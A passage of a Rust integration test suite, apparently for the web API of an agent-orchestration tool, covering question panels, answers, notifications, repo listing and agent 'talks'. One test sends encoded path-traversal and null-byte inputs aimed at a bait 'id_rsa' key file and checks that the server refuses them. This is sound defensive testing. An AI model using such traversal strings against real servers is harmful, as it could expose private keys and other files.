5934 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
5935 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
5939
5940 for encoded in [
5947 "%2e%2e%2fid_rsa",
5948 "..%2fid_rsa",
5949 "..%5cid_rsa",
5950 "%2e%2e%5cid_rsa",
5951 "diff%00.svg",
5952 "..",
5953 ".hidden",
5954 "%2e%2e%2f%2e%2e%2fid_rsa",
5955 ] {
5956 let res = fx
5957 .get(&format!("/api/questions/{id}/asset/{encoded}"))
5958 .await;
5959 assert_eq!(
5960 res.status, 400,
5961 "`{encoded}` has to be refused by name, not looked up: {}",
5962 res.body
5963 );
5964 assert!(res.json()["error"].is_string(), "{}", res.body);
5965 }
5966
5967 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
5973 let res = fx
5974 .get(&format!("/api/questions/{id}/asset/{literal}"))
5975 .await;
5976 assert_eq!(
5977 res.status, 404,
5978 "`{literal}` must not match the asset route at all: {}",
5979 res.body
5980 );
5981 }
5982 }
5983
5984 #[tokio::test]
5985 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
5986 let fx = Fixture::start().await;
5987 let plain = ask(&fx, "Which backend?", &["SQLite"]);
5988 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
5989
5990 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
5994 assert_eq!(none.status, 404, "{}", none.body);
5995 assert!(none.json()["error"].is_string(), "{}", none.body);
5996 assert_eq!(
5997 fx.head(&format!("/api/questions/{plain}/panel"))
5998 .await
5999 .status,
6000 404,
6001 "the preflight is the only way the client can learn this"
6002 );
6003
6004 let missing = fx
6006 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
6007 .await;
6008 assert_eq!(missing.status, 404, "{}", missing.body);
6009 assert!(missing.json()["error"].is_string(), "{}", missing.body);
6010
6011 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
6013 assert_eq!(
6014 fx.get("/api/questions/nope/asset/diff.svg").await.status,
6015 404
6016 );
6017 }
6018
6019 #[tokio::test]
6020 async fn a_run_with_an_open_question_reads_as_waiting() {
6021 let fx = Fixture::start().await;
6022 let run = "20260902-000000-beef".to_owned();
6023 write_run(&fx.runs(), &run, RunStatus::Implementing);
6024
6025 let before = fx.get("/api/runs").await.json();
6026 assert_eq!(before[0]["waiting"], false, "{before}");
6027
6028 let store = fx.questions();
6029 let mut q = Question::new(
6030 run.clone(),
6031 "implement".to_owned(),
6032 "impl-A".to_owned(),
6033 "Which backend?".to_owned(),
6034 String::new(),
6035 vec!["SQLite".to_owned()],
6036 );
6037 store.put(&mut q).expect("put");
6038
6039 let during = fx.get("/api/runs").await.json();
6040 assert_eq!(during[0]["waiting"], true, "{during}");
6041
6042 q.answer(Answer::Choice("SQLite".to_owned()))
6045 .expect("answer");
6046 store.put(&mut q).expect("put");
6047 let after = fx.get("/api/runs").await.json();
6048 assert_eq!(after[0]["waiting"], false, "{after}");
6049 }
6050
6051 #[tokio::test]
6052 async fn an_open_question_is_listed_and_counted_by_health() {
6053 let fx = Fixture::start().await;
6054 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
6055
6056 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6057 let listed = fx.get("/api/questions").await.json();
6058 assert_eq!(listed.as_array().expect("array").len(), 1);
6059 assert_eq!(listed[0]["id"], id);
6060 assert_eq!(listed[0]["status"], "open");
6061 assert_eq!(listed[0]["choices"][1], "Redis");
6062 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
6065 }
6066
6067 #[tokio::test]
6068 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
6069 let fx = Fixture::start().await;
6070 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6071 let path = format!("/api/questions/{id}/answer");
6072
6073 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
6074 assert_eq!(res.status, 200, "{}", res.body);
6075 let body = res.json();
6076 assert_eq!(body["status"], "answered");
6077 assert_eq!(body["answer"]["choice"], "Redis");
6078
6079 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
6083 assert_eq!(again.status, 409, "{}", again.body);
6084 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
6085 }
6086
6087 #[tokio::test]
6088 async fn saying_something_appends_a_turn_without_answering() {
6089 let fx = Fixture::start().await;
6090 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6091 let path = format!("/api/questions/{id}/say");
6092
6093 let res = fx
6094 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
6095 .await;
6096 assert_eq!(res.status, 200, "{}", res.body);
6097 let body = res.json();
6098 assert_eq!(body["status"], "open", "talking back is not a decision");
6099 assert_eq!(body["answer"], Value::Null);
6100 assert_eq!(body["thread"][0]["who"], "operator");
6101 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
6102 assert_eq!(body["waiting_on_agent"], true);
6103 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
6105 }
6106
6107 #[tokio::test]
6108 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
6109 let fx = Fixture::start().await;
6110 let store = fx.questions();
6111 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6112 assert_eq!(
6113 fx.get("/api/health").await.json()["questions_needs_owner"],
6114 1
6115 );
6116
6117 let res = fx
6123 .post(
6124 &format!("/api/questions/{id}/say"),
6125 Some(r#"{"body":"why not Postgres?"}"#),
6126 )
6127 .await;
6128 assert_eq!(res.status, 200, "{}", res.body);
6129 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
6130 assert_eq!(
6131 fx.get("/api/health").await.json()["questions_needs_owner"],
6132 0,
6133 "waiting on the agent is not waiting on the owner"
6134 );
6135
6136 let mut q = store.get(&id).expect("get");
6140 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
6141 .expect("reply");
6142 store.put(&mut q).expect("put");
6143 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
6144 assert_eq!(
6145 fx.get("/api/health").await.json()["questions_needs_owner"],
6146 1,
6147 "the agent's reply is what should light the banner back up"
6148 );
6149 }
6150
6151 #[tokio::test]
6152 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
6153 let fx = Fixture::start().await;
6154 let store = fx.questions();
6155
6156 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6157 let res = fx
6158 .post(
6159 &format!("/api/questions/{empty_id}/say"),
6160 Some(r#"{"body":" "}"#),
6161 )
6162 .await;
6163 assert_eq!(res.status, 400, "{}", res.body);
6164
6165 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6166 let mut answered = store.get(&answered_id).expect("get");
6167 answered
6168 .answer(Answer::Choice("SQLite".to_owned()))
6169 .expect("answer");
6170 store.put(&mut answered).expect("put");
6171 let res = fx
6172 .post(
6173 &format!("/api/questions/{answered_id}/say"),
6174 Some(r#"{"body":"still there?"}"#),
6175 )
6176 .await;
6177 assert_eq!(res.status, 409, "{}", res.body);
6178
6179 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6180 let mut abandoned = store.get(&abandoned_id).expect("get");
6181 abandoned.abandon("timed out");
6182 store.put(&mut abandoned).expect("put");
6183 let res = fx
6184 .post(
6185 &format!("/api/questions/{abandoned_id}/say"),
6186 Some(r#"{"body":"still there?"}"#),
6187 )
6188 .await;
6189 assert_eq!(res.status, 409, "{}", res.body);
6190 }
6191
6192 #[tokio::test]
6193 async fn an_answer_the_question_does_not_offer_is_refused() {
6194 let fx = Fixture::start().await;
6195 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6196 let path = format!("/api/questions/{id}/answer");
6197
6198 for body in [
6199 r#"{"choice":"Postgres"}"#,
6200 r#"{"text":"whatever you think"}"#,
6201 r#"{"choice":"Redis","text":"both"}"#,
6202 r#"{}"#,
6203 ] {
6204 let res = fx.post(&path, Some(body)).await;
6205 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
6206 assert!(res.json()["error"].is_string(), "{}", res.body);
6207 }
6208 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
6210 }
6211
6212 #[tokio::test]
6213 async fn a_free_text_question_takes_text_and_not_a_choice() {
6214 let fx = Fixture::start().await;
6215 let id = ask(&fx, "What should the flag be called?", &[]);
6216 let path = format!("/api/questions/{id}/answer");
6217
6218 assert_eq!(
6219 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
6220 400
6221 );
6222 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
6223 assert_eq!(res.status, 200, "{}", res.body);
6224 assert_eq!(res.json()["answer"]["text"], "--json");
6225 }
6226
6227 #[tokio::test]
6228 async fn an_unknown_question_is_a_json_404() {
6229 let fx = Fixture::start().await;
6230 let res = fx
6231 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
6232 .await;
6233 assert_eq!(res.status, 404, "{}", res.body);
6234 assert!(res.json()["error"].is_string());
6235 }
6236
6237 #[tokio::test]
6238 async fn notifications_list_read_dismiss_and_health_agree() {
6239 let fx = Fixture::start().await;
6240 let store = Notices::at(fx.home.path().join("notifications"));
6241 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
6242 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
6243
6244 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
6245 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
6246
6247 let health = fx.get("/api/health").await.json();
6248 assert_eq!(health["notifications_unread"], 2);
6249 assert_ne!(
6250 health["notifications_rev"], rev0,
6251 "the badge must move live"
6252 );
6253
6254 let listed = fx.get("/api/notifications").await.json();
6255 assert_eq!(listed["unread"], 2);
6256 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
6257 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
6258
6259 let read = fx
6260 .post(&format!("/api/notifications/{}/read", a.id), None)
6261 .await;
6262 assert_eq!(read.status, 200, "{}", read.body);
6263 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
6264
6265 let gone = fx
6266 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
6267 .await;
6268 assert_eq!(gone.status, 200, "{}", gone.body);
6269 let listed = fx.get("/api/notifications").await.json();
6270 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
6271 assert_eq!(listed["unread"], 0);
6272
6273 store.raise(Notice::info("x", "again")).unwrap();
6274 let all = fx.post("/api/notifications/read-all", None).await;
6275 assert_eq!(all.status, 200, "{}", all.body);
6276 assert_eq!(all.json()["marked"], 1);
6277 assert_eq!(
6278 fx.get("/api/health").await.json()["notifications_unread"],
6279 0
6280 );
6281
6282 let missing = fx.post("/api/notifications/nope/read", None).await;
6283 assert_eq!(missing.status, 404, "{}", missing.body);
6284 assert!(missing.json()["error"].is_string());
6285 }
6286
6287 #[tokio::test]
6294 async fn a_task_cannot_be_filed_over_the_phone_directly() {
6295 let f = Fixture::start().await;
6296
6297 let res = f
6298 .post(
6299 "/api/queue",
6300 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
6301 )
6302 .await;
6303
6304 assert_eq!(
6305 res.status, 405,
6306 "POST /api/queue must not be a route: {}",
6307 res.body
6308 );
6309 assert!(
6310 f.queue().list().is_empty(),
6311 "a task filed by a route that does not exist must not reach the disk"
6312 );
6313 assert_eq!(f.get("/api/queue").await.status, 200);
6316 }
6317
6318 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
6320 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
6321 .expect("checkout dir");
6322 }
6323
6324 #[tokio::test]
6325 async fn repos_list_returns_name_and_path_for_every_configured_root() {
6326 let tmp = TempDir::new().expect("tempdir");
6327 let repo = tmp.path().join("repo");
6328 std::fs::create_dir_all(&repo).expect("repo dir");
6329 let root = tmp.path().join("root");
6330 make_checkout(&root, "github.com", "yukimemi", "magi");
6331 std::fs::write(
6332 repo.join("magi.toml"),
6333 format!(
6334 "[repos]\nroots = [{:?}]\n",
6335 root.to_string_lossy().into_owned()
6336 ),
6337 )
6338 .expect("write magi.toml");
6339
6340 let f = Fixture::with_repo(repo).await;
6341 let res = f.get("/api/repos").await;
6342 assert_eq!(res.status, 200, "{}", res.body);
6343 let list = res.json();
6344 let repos = list.as_array().expect("an array");
6345 assert_eq!(repos.len(), 1);
6346 assert_eq!(repos[0]["name"], "yukimemi/magi");
6347 assert!(
6348 repos[0]["path"]
6349 .as_str()
6350 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
6351 "{list}"
6352 );
6353 }
6354
6355 #[tokio::test]
6356 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
6357 let tmp = TempDir::new().expect("tempdir");
6358 let repo = tmp.path().join("repo");
6359 std::fs::create_dir_all(&repo).expect("repo dir");
6360 let root = tmp.path().join("root");
6361 make_checkout(&root, "github.com", "yukimemi", "magi");
6362 std::fs::write(
6363 repo.join("magi.toml"),
6364 format!(
6365 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
6366 root.to_string_lossy().into_owned()
6367 ),
6368 )
6369 .expect("write magi.toml");
6370
6371 let f = Fixture::with_repo(repo).await;
6372 let first = f.get("/api/repos").await;
6373 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
6374
6375 make_checkout(&root, "github.com", "yukimemi", "rvpm");
6378 let second = f.get("/api/repos").await;
6379 assert_eq!(
6380 second.json().as_array().map(Vec::len),
6381 Some(1),
6382 "a fresh cache must not rescan inside the TTL"
6383 );
6384
6385 let refreshed = f.get("/api/repos?refresh=1").await;
6386 assert_eq!(
6387 refreshed.json().as_array().map(Vec::len),
6388 Some(2),
6389 "an explicit refresh must rescan even inside the TTL"
6390 );
6391 }
6392
6393 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
6399
6400 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
6404 let tmp = TempDir::new().expect("tempdir");
6405 let repo = tmp.path().join("repo");
6406 std::fs::create_dir_all(&repo).expect("repo dir");
6407 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6408 let f = Fixture::with_repo(repo.clone()).await;
6409 (tmp, repo, f)
6410 }
6411
6412 #[tokio::test]
6413 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
6414 let (_tmp, _repo, f) = talk_fixture().await;
6415
6416 let opened = f.post("/api/talks", None).await;
6419 assert_eq!(opened.status, 201, "{}", opened.body);
6420 let body = opened.json();
6421 assert_eq!(body["status"], "open");
6422 assert_eq!(
6423 body["turns"].as_array().unwrap().len(),
6424 0,
6425 "opening takes no agent turn: there is nothing yet to answer"
6426 );
6427
6428 let also_opened = f.post("/api/talks", Some("{}")).await;
6430 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
6431
6432 let listed = f.get("/api/talks").await.json();
6433 assert_eq!(listed.as_array().unwrap().len(), 2);
6434 }
6435
6436 #[tokio::test]
6437 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
6438 let f = Fixture::start().await;
6439 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
6440 let queue = f.queue();
6441 let mut mine = Task::new(
6442 "rename the loader".to_owned(),
6443 "rename the loader".to_owned(),
6444 PathBuf::from("/repo/magi"),
6445 Source::Agent {
6446 run: talk_id.clone(),
6447 node: "chat".to_owned(),
6448 },
6449 );
6450 queue.put(&mut mine).expect("file the task");
6451 let mut theirs = Task::new(
6452 "unrelated".to_owned(),
6453 "unrelated".to_owned(),
6454 PathBuf::from("/repo/magi"),
6455 Source::Human,
6456 );
6457 queue.put(&mut theirs).expect("file the task");
6458
6459 let res = f.get(&format!("/api/talks/{talk_id}")).await;
6460 assert_eq!(res.status, 200, "{}", res.body);
6461 let body = res.json();
6462 assert_eq!(
6463 body["status"], "open",
6464 "filing a task does not close a talk"
6465 );
6466 let tasks = body["tasks"].as_array().expect("tasks array");
6467 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
6468 assert_eq!(tasks[0]["id"], mine.id);
6469 }
6470
6471 #[tokio::test]
6472 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
6473 let (_tmp, _repo, f) = talk_fixture().await;
6474 let id = f.post("/api/talks", None).await.json()["id"]
6475 .as_str()
6476 .expect("id")
6477 .to_owned();
6478
6479 let res = f
6480 .post(
6481 &format!("/api/talks/{id}/say"),
6482 Some(r#"{"text":"what does the queue module do?"}"#),
6483 )
6484 .await;
6485 assert_eq!(res.status, 202, "{}", res.body);
6486 let queued = res.json();
6487 let turns = queued["turns"].as_array().expect("turns array");
6488 assert_eq!(
6489 turns.len(),
6490 1,
6491 "the answer reflects only what is on disk the instant it is sent, \
6492 before the agent's turn - which can run for the whole of \
6493 `[graph] timeout_talk` - has a chance to land: {queued}"
6494 );
6495 assert_eq!(turns[0]["who"], "operator");
6496 assert_eq!(turns[0]["body"], "what does the queue module do?");
6497 assert_eq!(
6498 queued["thinking"], true,
6499 "the accepted response exposes the background turn claim: {queued}"
6500 );
6501
6502 let mut turns_after = 1;
6503 for _ in 0..SETTLE_STEPS {
6504 let detail = f.get(&format!("/api/talks/{id}")).await.json();
6505 turns_after = detail["turns"].as_array().expect("turns array").len();
6506 if turns_after == 2 {
6507 break;
6508 }
6509 tokio::time::sleep(Duration::from_millis(10)).await;
6510 }
6511 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
6512 }
6513
6514 #[tokio::test]
6541 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
6542 let tmp = TempDir::new().expect("tempdir");
6543 let repo = tmp.path().join("repo");
6544 std::fs::create_dir_all(&repo).expect("repo dir");
6545 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6546 let home = TempDir::new().expect("temp home");
6547 let talks = Talks::at(home.path().join("talks"));
6548 let ui = Arc::new(
6549 Ui::new(
6550 Queue::at(home.path().join("queue")),
6551 Questions::at(home.path().join("questions")),
6552 talks.clone(),
6553 home.path().join("runs"),
6554 home.path().to_path_buf(),
6555 repo.clone(),
6556 )
6557 .with_worktrees_root(home.path().join("wt")),
6558 );
6559 let cfg = config_for(&repo).await.expect("discover config");
6560
6561 for delay in 0..40u32 {
6562 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6563 let id = talk.id.clone();
6564
6565 let handler = tokio::spawn(talk_say(
6566 State(Arc::clone(&ui)),
6567 Path(id.clone()),
6568 Ok(Json(NewTalkTurn {
6569 text: "what does the queue module do?".to_owned(),
6570 attachments: Vec::new(),
6571 })),
6572 ));
6573 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
6574 handler.abort();
6575 let _ = handler.await;
6578
6579 let mut turns = 0;
6580 for _ in 0..SETTLE_STEPS {
6581 if let Ok(fresh) = talks.get(&id) {
6582 turns = fresh.turns.len();
6583 if turns != 1 {
6584 break;
6585 }
6586 }
6587 tokio::time::sleep(Duration::from_millis(10)).await;
6588 }
6589 assert_ne!(
6590 turns, 1,
6591 "delay {delay}: talk {id} recorded the operator's turn but \
6592 the agent never answered - the reply task was never \
6593 started after the handler future was dropped"
6594 );
6595 }
6596 }
6597
6598 #[tokio::test]
6643 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
6644 let tmp = TempDir::new().expect("tempdir");
6645 let repo = tmp.path().join("repo");
6646 std::fs::create_dir_all(&repo).expect("repo dir");
6647 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6648 let home = TempDir::new().expect("temp home");
6649 let talks = Talks::at(home.path().join("talks"));
6650 let ui = Arc::new(
6651 Ui::new(
6652 Queue::at(home.path().join("queue")),
6653 Questions::at(home.path().join("questions")),
6654 talks.clone(),
6655 home.path().join("runs"),
6656 home.path().to_path_buf(),
6657 repo.clone(),
6658 )
6659 .with_worktrees_root(home.path().join("wt")),
6660 );
6661 let cfg = config_for(&repo).await.expect("discover config");
6662
6663 for attempt in 0..3u32 {
6664 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6665 let id = talk.id.clone();
6666 let turn_guard = ui
6669 .begin_talk_turn(&id)
6670 .expect("claim the turn")
6671 .expect("a fresh talk owes nobody a turn");
6672
6673 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
6674 let (release_tx, release_rx) = std::sync::mpsc::channel();
6675 ui.set_busy_queue_gate(BusyQueueGate {
6676 reached: reached_tx,
6677 release: release_rx,
6678 });
6679
6680 let handler = tokio::spawn(talk_say(
6681 State(Arc::clone(&ui)),
6682 Path(id.clone()),
6683 Ok(Json(NewTalkTurn {
6684 text: "what does the queue module do?".to_owned(),
6685 attachments: Vec::new(),
6686 })),
6687 ));
6688
6689 tokio::time::timeout(Duration::from_secs(5), reached_rx)
6694 .await
6695 .unwrap_or_else(|_| {
6696 panic!(
6697 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
6698 )
6699 })
6700 .expect("the busy branch dropped the gate without using it");
6701
6702 let running = talks.get(&id).expect("reload talk");
6709 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
6710
6711 handler.abort();
6715 let _ = handler.await;
6716
6717 let _ = release_tx.send(());
6723
6724 let mut fresh = talks.get(&id).expect("reload talk");
6727 for _ in 0..SETTLE_STEPS {
6728 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
6729 break;
6730 }
6731 tokio::time::sleep(Duration::from_millis(10)).await;
6732 fresh = talks.get(&id).expect("reload talk");
6733 }
6734 assert!(
6735 fresh.pending.is_empty() && fresh.turns.len() == 2,
6736 "attempt {attempt}: talk {id} left the operator's text queued \
6737 with no drainer - the reclaimed turn was dropped along with \
6738 the handler future (pending {:?}, {} turns)",
6739 fresh.pending,
6740 fresh.turns.len()
6741 );
6742 }
6743 }
6744
6745 #[tokio::test]
6746 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
6747 let (_tmp, _repo, f) = talk_fixture().await;
6748 let id = f.post("/api/talks", None).await.json()["id"]
6749 .as_str()
6750 .expect("id")
6751 .to_owned();
6752 let store = f.talks();
6753 let mut recovered = store.get(&id).expect("opened talk");
6754 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
6755 .expect("persist pending draft without a live turn");
6756
6757 let edited = f
6758 .post(
6759 &format!("/api/talks/{id}/pending/edit"),
6760 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
6761 )
6762 .await;
6763 assert_eq!(edited.status, 200, "{}", edited.body);
6764 assert!(edited.json()["thinking"].as_bool().unwrap());
6765
6766 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
6767 for _ in 0..SETTLE_STEPS {
6768 if detail["turns"].as_array().expect("turns").len() == 2 {
6769 break;
6770 }
6771 tokio::time::sleep(Duration::from_millis(10)).await;
6772 detail = f.get(&format!("/api/talks/{id}")).await.json();
6773 }
6774 let turns = detail["turns"].as_array().expect("turns");
6775 assert_eq!(
6776 turns.len(),
6777 2,
6778 "the recovered draft must run once: {detail}"
6779 );
6780 assert_eq!(turns[0]["body"], "corrected");
6781 assert_eq!(detail["pending"], "");
6782 }
6783
6784 #[tokio::test]
6785 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
6786 let tmp = TempDir::new().expect("tempdir");
6787 let repo = tmp.path().join("repo");
6788 std::fs::create_dir_all(&repo).expect("repo dir");
6789 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
6790 let f = Fixture::with_repo(repo).await;
6791 let id = f.post("/api/talks", None).await.json()["id"]
6792 .as_str()
6793 .expect("id")
6794 .to_owned();
6795 let store = f.talks();
6796 let mut recovered = store.get(&id).expect("opened talk");
6797 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
6798 .expect("persist pending draft without a live turn");
6799
6800 let refused = f
6801 .post(
6802 &format!("/api/talks/{id}/say"),
6803 Some(r#"{"text":"new message"}"#),
6804 )
6805 .await;
6806 assert_eq!(refused.status, 409, "{}", refused.body);
6807 assert!(refused.body.contains("resume"), "{}", refused.body);
6808 let saved = store.get(&id).expect("draft remains after refusal");
6809 assert!(saved.turns.is_empty());
6810 assert_eq!(saved.pending, "saved before restart");
6811
6812 let say_path = format!("/api/talks/{id}/say");
6813 let (first, second) = tokio::join!(
6814 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
6815 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
6816 );
6817 assert_eq!(first.status, 409, "{}", first.body);
6818 assert_eq!(second.status, 409, "{}", second.body);
6819 let saved = store
6820 .get(&id)
6821 .expect("draft remains after concurrent refusals");
6822 assert!(saved.turns.is_empty());
6823 assert_eq!(saved.pending, "saved before restart");
6824
6825 let resumed = f
6826 .post(&format!("/api/talks/{id}/pending/resume"), None)
6827 .await;
6828 assert_eq!(resumed.status, 202, "{}", resumed.body);
6829 let duplicate = f
6830 .post(&format!("/api/talks/{id}/pending/resume"), None)
6831 .await;
6832 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
6833
6834 for _ in 0..SETTLE_STEPS {
6835 if store.get(&id).expect("talk").turns.len() == 2 {
6836 break;
6837 }
6838 tokio::time::sleep(Duration::from_millis(10)).await;
6839 }
6840 let finished = store.get(&id).expect("finished talk");
6841 assert_eq!(finished.turns.len(), 2, "{finished:?}");
6842 assert_eq!(finished.turns[0].body, "saved before restart");
6843 assert!(finished.pending.is_empty());
6844 }
6845
6846 #[tokio::test]
6847 async fn an_image_only_recovered_draft_resumes_without_text() {
6848 let (_tmp, _repo, f) = talk_fixture().await;
6849 let id = f.post("/api/talks", None).await.json()["id"]
6850 .as_str()
6851 .expect("id")
6852 .to_owned();
6853 let uploaded = f
6854 .post_bytes(
6855 &format!("/api/talks/{id}/attachments"),
6856 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
6857 PNG_BYTES,
6858 )
6859 .await;
6860 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6861 let attachment = f
6862 .talks()
6863 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
6864 .expect("attachment metadata")
6865 .expect("stored attachment");
6866 let store = f.talks();
6867 let mut recovered = store.get(&id).expect("opened talk");
6868 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
6869
6870 let resumed = f
6871 .post(&format!("/api/talks/{id}/pending/resume"), None)
6872 .await;
6873 assert_eq!(resumed.status, 202, "{}", resumed.body);
6874 for _ in 0..SETTLE_STEPS {
6875 if store.get(&id).expect("talk").turns.len() == 2 {
6876 break;
6877 }
6878 tokio::time::sleep(Duration::from_millis(10)).await;
6879 }
6880 let finished = store.get(&id).expect("finished talk");
6881 assert_eq!(finished.turns.len(), 2, "{finished:?}");
6882 assert!(finished.turns[0].body.is_empty());
6883 assert_eq!(finished.turns[0].attachments.len(), 1);
6884 assert!(finished.pending_attachments.is_empty());
6885 }
6886
6887 #[tokio::test]
6888 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
6889 let (_tmp, _repo, f) = talk_fixture().await;
6890 let id = f.post("/api/talks", None).await.json()["id"]
6891 .as_str()
6892 .expect("id")
6893 .to_owned();
6894 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6895 assert_eq!(closed.status, 200, "{}", closed.body);
6896 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
6897 .expect("serialize closed talk");
6898 for (path, body) in [
6899 (format!("/api/talks/{id}/pending/resume"), None),
6900 (
6901 format!("/api/talks/{id}/pending/clear"),
6902 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
6903 ),
6904 (
6905 format!("/api/talks/{id}/pending/edit"),
6906 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
6907 ),
6908 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
6909 ] {
6910 let response = f.post(&path, body).await;
6911 assert_eq!(response.status, 409, "{}", response.body);
6912 }
6913 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
6914 .expect("serialize closed talk");
6915 assert_eq!(
6916 after_clear, before_clear,
6917 "clear must not rewrite a closed talk"
6918 );
6919 }
6920
6921 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
6924
6925 #[tokio::test]
6926 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
6927 let tmp = TempDir::new().expect("tempdir");
6928 let repo = tmp.path().join("repo");
6929 std::fs::create_dir_all(&repo).expect("repo dir");
6930 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
6931 let f = Fixture::with_repo(repo).await;
6932 let id_a = f.post("/api/talks", None).await.json()["id"]
6933 .as_str()
6934 .unwrap()
6935 .to_owned();
6936 let id_b = f.post("/api/talks", None).await.json()["id"]
6937 .as_str()
6938 .unwrap()
6939 .to_owned();
6940
6941 let a = f
6942 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
6943 .await;
6944 assert_eq!(a.status, 202, "{}", a.body);
6945 assert_eq!(a.json()["thinking"], true);
6946 let b = f
6947 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
6948 .await;
6949 assert_eq!(b.status, 202, "{}", b.body);
6950 assert_eq!(b.json()["thinking"], true);
6951
6952 let listed = f.get("/api/talks").await.json();
6953 for id in [&id_a, &id_b] {
6954 let view = listed
6955 .as_array()
6956 .unwrap()
